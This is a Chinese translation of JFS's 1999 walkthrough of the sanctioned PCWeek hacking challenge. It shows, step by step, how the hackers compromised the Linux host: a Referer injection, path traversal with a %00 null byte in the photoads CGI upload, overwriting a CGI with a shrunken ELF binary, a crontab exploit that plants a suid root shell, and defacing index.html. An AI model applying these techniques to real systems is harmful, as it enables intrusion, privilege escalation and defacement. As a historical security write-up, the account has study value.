当前位置:Linux教程 - Linux - JFS 侵入 PCWEEK-LINUX 主机的详细过程

JFS 侵入 PCWEEK-LINUX 主机的详细过程



         backend

    译者注:PCWeek-Linux 主机是著名电脑杂志 PCWeek 为了测试 WEB 服务器 IIS(NT平台)
    和 Apache(Linux平台)的安全性,提供给黑客/骇客攻击的两台主机之一。另一台主机安装
    的是 IIS(NT平台)。详细情况请访问网站:http://www.hackpcweek.com/


    首先要进行的当然是--收集远端主机信息:打开的端口和提供的网络服务等。经过扫
    描后发现大多数端口都被过滤掉了,原因可能是安装了防火墙或设置了 TCP-Wrapper 。所
    以我们只能从 HTTP 服务器着手了。

    lemming:~# telnet securelinux.hackpcweek.com 80
    Trying 208.184.64.170...
    Connected to securelinux.hackpcweek.com.
    Escape character is \"^]\".
    POST X HTTP/1.0

    HTTP/1.1 400 Bad Request
    Date: Fri, 24 Sep 1999 23:42:15 GMT
    Server: Apache/1.3.6 (Unix) (Red Hat/Linux)
    (...)
    Connection closed by foreign host.
    lemming:~#

    嗯,服务器操作系统是 Red Hat,WEB服务器是 Apache/1.3.6。从网页上可知服务器安
    装了 mod_perl,但只有一个 fingerprint 功能,对我们没有什么用处。
    Apache 1.3.6 本身没有包含任何可供远端用户使用的CGI程序,但我们不清楚Red Hat
    的发行版本中是否有,所以我们进行了一些测试(test-cgi, wwwboard, count.cgi等)。
    结果令人失望。于是我们尝试找出网站的结构。经过对该网站HTML页的分析,终于找出
    了网站DocumentRoot下的目录结构:

    /
    /cgi-bin
    /photoads/
    /photoads/cgi-bin

    很自然地,我们的眼光落在 photoads 这个安装模块上。该商用CGI包可在\"http://
    [url]www.hoffoce.com\"[/url]找到,价格为$149,包括供检查和修改用的PERL源代码。
    我们找到一个朋友,了解和掌握 photoads 在 Linux 平台上的安装情况,从而大致清楚
    运行在该主机上的 photoads。
    检查了缺省安装的文件后,我们发现可以取得所有用户名及其口令的数据库(http://
    securelinux.hackpcweek.com/photoads/ads_data.pl),但当我们试图访问配置文件
    /photoads/cgi-bin/photo_cfg.pl 时,服务器的设置拒绝了这个请求。
    通过 /photoads/cgi-bin/env.cgi,我们可以知道该服务器的许多详细情况,如
    DocumentRoot 在文件系统的位置(/home/httpd/html),运行 Apache 服务器的用户(
    nobody)等。
    现在,开始寻找漏洞的第一步,我们尝试寻找是否存在 SSI 或 mod_perl 嵌入 HTML
    命令的漏洞,如:

    #include file=\"...\" for SSI
    #perl .. for mod_perl

    但脚本中的匹配表达式却在许多输入域上过滤此类输入。不过与此同时我们却发现有一
    个用户赋值的变量在转换成 HTML 代码前,并没有检查其值的合法性。我们可以通过它将命
    令嵌入到由服务器端解析的 HTML 代码中:

    在 post.cgi,行 36:
    print \"you are trying to post an AD from another URL: $ENV{\"HTTP_REFERER\"}\\n\";

    $ENV{\"HTTP_REFERER\"}是一个用户赋值的变量,我们可以通过它将任何 HTML 嵌入到代
    码中。
    请阅读我们提供的文件 getit.ssi 和 getit.mod_perl。
    在命令行下使用这些文件如下:

    lemming:~# cat getit.ssi | nc securelinux.hackpcweek.com 80

    但不幸的是,该主机的配置并不允许 SSI 或 mod_perl,所以我们无法利用这个方法侵
    入系统。

    因此我们决定在CGI脚本中寻找缺口。在PERL脚本中许多漏洞往往出现在 open()、
    system() 或 `` 等调用中,前一个允许读/写/执行,而后两个允许执行。
    虽然在该主机找不到后两种调用,但我们却发现了一些 open() 调用:

    lemming:~/photoads/cgi-bin# grep \"open.*(.*)\" *cgi | more

    advisory.cgi: open (DATA, \"$BaseDir/$DataFile\");
    edit.cgi: open (DATA, \">$BaseDir/$DataFile\");
    edit.cgi: open(MAIL, \"|$mailprog -t\") || die \"Can\"t open $mailprog!\\n\";
    photo.cgi: open(ULFD,\">$write_file\") || die show_upload_failed(\"$write_file $!\");
    photo.cgi: open ( FILE, $filename );
    (...)

    $BaseDir 和 $DataFile 两个变量是在配置文件中定义,且不能在运行时修改,无法被
    我们利用。
    但其余两个就……

    在 photo.cgi,行 132:
    $write_file = $Upload_Dir.$filename;

    open(ULFD,\">$write_file\") || die show_upload_failed(\"$write_file $!\");
    print ULFD $UPLOAD{\"FILE_CONTENT\"};
    close(ULFD);

    因此,如果我们可以修改 $write_file 变量,就可以写文件系统中的任何文件。
    $write_file 变量来自:

    $write_file = $Upload_Dir.$filename;

    其中,$Upload_Dir 在配置文件中定义,我们无法修改,但 $filename 变量又如何呢?

    在 photo.cgi,行 226:
    if( !$UPLOAD{\"FILE_NAME\"} ) { show_file_not_found(); }

    $filename = lc($UPLOAD{\"FILE_NAME\"});
    $filename =~ s/.+\\\\([^\\\\]+)$|.+\\/([^\\/]+)$/\\1/;

    if ($filename =~ m/gif/) {
    $type = \".gif\";
    }elsif ($filename =~ m/jpg/) {
    $type = \".jpg\";
    }else{
    {&Not_Valid_Image}
    }

    由此可知,该变量来自从提交表格的变量组分解出来的 $UPLOAD{\"FILE_NAME\"},而且必
    须经过匹配表达式过滤,因此我们不能用\"../../../../../../../../etc/passwd\"格式来取
    得任何文件。匹配表达式为:

    $filename =~ s/.+\\\\([^\\\\]+)$|.+\\/([^\\/]+)$/\\1/;

    我们看到,如 $filename 与该表达式匹配,则返回ASCII码1(SOH)。同时,变量还必
    须包含\"gif\"或\"jpg\",以通过 Not_Valid_Image 过滤器。
    经过多次尝试,以及从 Phrack 的关于PERL CGI安全性文章的帮助,我们发现以下格式

    /jfs/\\../../../../../../../export/www/htdocs/index.html%00.gif

    可以成功修改WEB服务器根目录下的index.html文件。:-)
    然而,为了上载文件,我们仍须绕过更多的脚本代码。我们发现无法通过POST方法发送
    包含上述内容的表格(无法转换%00),唯一的方法只能是GET。
    在 photo.cgi ,行 256,会检查被上载文件的内容是否符合图像定义(宽/长/大小)
    (记住,photo.cgi 是被当作某个AD上载图像的一个方法)。如果不符合这些细节,脚本将
    删除该上载文件。这当然不是我们所希望的!
    PCWeek 网站配置文件将 Imagesize 设为 0,所以我们可以忽略该脚本中有关JPG部分,
    而将主要精力集中在GIF上。

    if ( substr ( $filename, -4, 4 ) eq \".gif\" ) {
    open ( FILE, $filename );
    my $head;
    my $gHeadFmt = \"A6vvb8CC\";
    my $pictDescFmt = \"vvvvb8\";
    read FILE, $head, 13;
    (my $GIF8xa, $width, $height, my $resFlags, my $bgColor, my $w2h) = unpack $gHeadFmt, $head;
    close FILE;
    $PhotoWidth = $width;
    $PhotoHeight = $height;
    $PhotoSize = $size;
    return;
    }

    在 photo.cgi,行 140:

    if (($PhotoWidth eq \"\") || ($PhotoWidth > \"700\")) {
    {&Not_Valid_Image}
    }

    if ($PhotoWidth > $ImgWidth || $PhotoHeight > $ImgHeight) {
    {&Height_Width}
    }

    由上可知,$PhotoWidth不能大于700,不能为空,且不能大于 $ImgWidth(缺省为350)

    所以我们使 $PhotoWidth!=\"\" 且 $Photowidth<350 即可。
    对于 $PhotoHeight,则必须小于 $ImgHeight(缺省为250)。
    综合以上要求,我们可以得到一个可以使用的数据:$PhotoWidth==$PhotoHeight==0。
    研究提取该值的脚本后,我们唯一要做的就是将文件的第6至第9字节的值置为 ASCII 码 0
    (NUL)。
    在确保 FILE_CONTENT(文件内容)符合以上所有要求后,我们又在以下代码遇到了另一
    个问题:

    chmod 0755, $Upload_Dir.$filename;
    $newname = $AdNum;
    rename(\"$write_file\", \"$Upload_Dir/$newname\");

    Show_Upload_Success($write_file);

    哇!文件将被改名/移动(这可是我们绝对不希望的!)。
    查找 $AdNum 变量的最终处理过程,我们发现它只能包含数字:

    $UPLOAD{\"AdNum\"} =~ tr/0-9//cd;
    $UPLOAD{\"Password\"} =~ tr/a-zA-Z0-9!+&#%$@*//cd;
    $AdNum = $UPLOAD{\"AdNum\"};

    其余的字符将被删除。因此我们不能直接应用\"../../../\"这种方法。
    那么,应该怎样做呢?我们看到 rename() 函数需要两个参数:旧的路径和新的路径。
    哈哈,在函数过程中没有错误检查!当函数出错后将跳到下一行继续执行!那么如何才能使
    该函数失败呢?Linux 内核对文件名长度限制为1024字节。因此如能使脚本将文件改名时新
    文件名超过1024字节长,即可绕过这个过滤器。
    所以,下一步就是要向系统传递一个大约1024字节长的AD号码。但由于脚本仅允许我们
    发送对应AD号码已存在的图片,而且由系统产生一个10^1024(10的1024次幂,即小数点前有
    1024个数字--backend注)的AD号码要花的时间对我们来说似乎太长了。;-)
    我们又遇到另一个难题了!……

    我们发现输入错误检查函数可以帮助我们创建一个指定的AD号码!浏览 edit.cgi 脚本
    后,你也许就会想到:如果输入是一个文件名+回车符+一个1024位的数字,会产生什么结果
    呢?;-)
    请阅读用于创建新AD值的程序文件 long.adnum。
    当成功绕过 $AdNum 的检查后,我们就可以让脚本创建/覆盖用户 nobody 有权写的任何
    文件,其中包含了我们所希望的东西(GIF头部的NUL除外)。

    现在就让我们对该主机试一试这个方法。
    嗯,so far so good(一切顺利)。但当我们试图让脚本改写 index.html 文件时无法
    成功。:( 其中的原因可能是没有覆盖该文件的权限(该文件由root拥有)。


    让我们试一下是否还有其它入侵方法……

    我们决定尝试修改CGI程序,以使其按我们的意愿运行:)。这种方法还可以让我们搜寻那
    些\"绝密\"文件,然后拿出动卖。:)
    我们修改了\"覆盖\"脚本,并让其成功地覆盖了一个CGI!:) 为了不覆盖那些较为重要
    的CGI(这是提高隐蔽性的聪明法子--backend注),最后我们选择了 advisory.cgi(你知
    道它有什么用吗?:))
    现在,我们将要上载一个shell脚本,以便我们可以执行一些命令。呵呵
    然而,这个以CGI方式运行的shell脚本必须符合以下格式:

    #!/bin/sh
    echo \"Content-type: text/html\"
    find / \"*secret*\" -print

    同时要记得,第6至第9字节必须为0或很小的值,以符合上面提及的大小定义……

    #!/bi\\00\\00\\00\\00n/sh

    以上这种方法是行不通的,内核只会读取前5个字节(#!/bi)内容并执行。在该主机中
    我们无法只用三个字节去获得一个shell。又遇到难题了!:(

    让我们看一下ELF(Linux缺省可执行类型)二进制文件格式,就会发现那些位置字节的
    内容均为0x00。:) Yohoo :)
    解决了这个问题后,现在我们需要将这个ELF可执行文件上载到远端服务器中。注意,文
    件内容必须经过编码,因为我们已知道只能通过GET方法上载,而不是POST。因此还要考虑到
    URI的最大长度。Apache 服务器上URI最大长度设为8190字节。别忘了,我们还有一个很长的
    1024字节的AD号码,所以经编码后的ELF文件长度限制为大约7000字节。

    以下这个程序:

    lemming:~/pcweek/hack/POST# cat fin.c
    #include
    main()
    {
    printf(\"Content-type: text/html\\n\\n\\r\");
    fflush(stdout);
    execlp(\"/usr/bin/find\",\"find\",\"/\",0);
    }

    编译后:

    lemming:~/pcweek/hack/POST# ls -l fin
    -rwxr-xr-x 1 root root 4280 Sep 25 04:18 fin*

    优化(清除symbols)后:

    lemming:~/pcweek/hack/POST# strip fin
    lemming:~/pcweek/hack/POST# ls -l fin
    -rwxr-xr-x 1 root root 2812 Sep 25 04:18 fin*
    lemming:~/pcweek/hack/POST#

    URL编码后:

    lemming:~/pcweek/hack/POST# ./to_url < fin > fin.url
    lemming:~/pcweek/hack/POST# ls -l fin.url
    -rw-r--r-- 1 root root 7602 Sep 25 04:20 fin.url

    这个文件大小超过了限制值。:(
    我们只能自行编辑二进制文件以尽量减小文件体积。这可不是一件轻松的工作,但却有
    效:

    lemming:~/pcweek/hack/POST# joe fin
    lemming:~/pcweek/hack/POST# ls -l fin
    -rwxr-xr-x 1 root root 1693 Sep 25 04:22 fin*
    lemming:~/pcweek/hack/POST# ./to_url < fin > fin.url
    lemming:~/pcweek/hack/POST# ls -l fin.url
    -rw-r--r-- 1 root root 4535 Sep 25 04:22 fin.url
    lemming:~/pcweek/hack/POST#

    请阅读 get.sec.find文件,还有 to_url 脚本和用来运行一些基本命令的*.c文件。

    现在,将这个CGI上载到服务器,再用浏览器访问它,如:

    wget http://securelinux.hackpcweek.com/photoads/cgi-bin/advisory.cgi

    服务器返回的结果相当于在服务器上执行 find / 命令。:)
    但我们在该服务器中找不到任何\"绝密\"文件,或许是nobody用户无权访问的缘故。:(
    我们尝试了更多的命令搜索,如ls等,但仍无法找到它们的踪影。
    [我怀疑这些文件是否真的保存在该服务器上!]


    好了,现在是获取 root 权限的时候了。利用最新发现的 Red Hat crontab 漏洞就可以
    轻松做到这一点。该漏洞详情请参阅 Bugtraq 或 securityfocus 上相关文档。
    我们修改了源程序以适应自己的需要,因为我们不需交互式 root shell,而是创建一个
    用户 nobody 可访问的 suid root shell,如 /tmp/.bs。我们再次上载该CGI,并运行它,
    观察其运行结果。
    我们制作了执行\"ls /tmp\"命令的CGI,执行后确认我们已拥有了一个 suid root shell。
    另外,我们还上载了一个文件 /tmp/xx,用于修改 index.html 文件。

    execlp(\"/tmp/.bs\",\"ls\",\"-c\",\"cp /tmp/xx /home/httpd/html/index.html\",0);


    好了。游戏结束!:)
    总共花费了大约20个小时,还算不错!呵呵。:)


    Jfs - !H\"99
    [email protected]

    发布人:netbull 来自:黑客专家